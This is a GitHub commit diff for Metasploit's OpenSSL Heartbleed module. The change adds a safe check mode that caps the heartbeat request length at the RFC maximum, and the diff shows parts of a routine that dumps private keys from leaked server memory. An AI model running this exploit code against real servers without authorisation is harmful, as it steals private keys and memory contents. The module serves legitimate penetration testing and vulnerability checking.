Skip to content

Commit 9461845

Browse files
committed
Merge pull request #1 from todb-r7/land-3274-rsa-keydump
Deconflict after rapid7#3252
2 parents e3daf6d + 845108a commit 9461845

File tree

1 file changed

+27
-6
lines changed

1 file changed

+27
-6
lines changed

modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

Lines changed: 27 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -83,6 +83,9 @@ class Metasploit3 < Msf::Auxiliary
8383
'FTP' => :tls_ftp
8484
}
8585

86+
# See the discussion at https://github.com/rapid7/metasploit-framework/pull/3252
87+
SAFE_CHECK_MAX_RECORD_LENGTH = (1 << 14)
88+
8689
def initialize
8790
super(
8891
'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak',
@@ -148,6 +151,16 @@ def initialize
148151

149152
end
150153

154+
def check_host(ip)
155+
@check_only = true
156+
vprint_status "#{peer} - Checking for Heartbleed exposure"
157+
if bleed
158+
Exploit::CheckCode::Appears
159+
else
160+
Exploit::CheckCode::Safe
161+
end
162+
end
163+
151164
def run
152165
if heartbeat_length > 65535 || heartbeat_length < 0
153166
print_error("HEARTBEAT_LENGTH should be a natural number less than 65536")
@@ -157,8 +170,16 @@ def run
157170
super
158171
end
159172

173+
# If this is merely a check, set to the RFC-defined
174+
# maximum padding length of 2^14. See:
175+
# https://tools.ietf.org/html/rfc6520#section-4
176+
# https://github.com/rapid7/metasploit-framework/pull/3252
160177
def heartbeat_length
161-
datastore["HEARTBEAT_LENGTH"]
178+
if @check_only
179+
SAFE_CHECK_MAX_RECORD_LENGTH
180+
else
181+
datastore["HEARTBEAT_LENGTH"]
182+
end
162183
end
163184

164185
def peer
@@ -351,13 +372,13 @@ def getkeys()
351372
print_error('TLS callbacks currently unsupported for keydumping action') #TODO
352373
return
353374
end
354-
375+
355376
print_status("#{peer} - Scanning for private keys")
356377
count = 0
357378

358379
print_status("#{peer} - Getting public key constants...")
359380
n, e = get_ne
360-
381+
361382
if n.nil? || e.nil?
362383
print_error("#{peer} - Failed to get public key, aborting.")
363384
end
@@ -373,8 +394,8 @@ def getkeys()
373394
end
374395

375396
p, q = get_factors(bleed, n) # Try to find factors in mem
376-
377-
unless p.nil? || q.nil?
397+
398+
unless p.nil? || q.nil?
378399
key = key_from_pqe(p, q, e)
379400
print_good("#{peer} - #{Time.now.getutc} - Got the private key")
380401

@@ -393,7 +414,7 @@ def getkeys()
393414
count += 1
394415
}
395416
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES.")
396-
end
417+
end
397418

398419
def heartbeat(length)
399420
payload = "\x01" # Heartbeat Message Type: Request (1)

0 commit comments

Comments
 (0)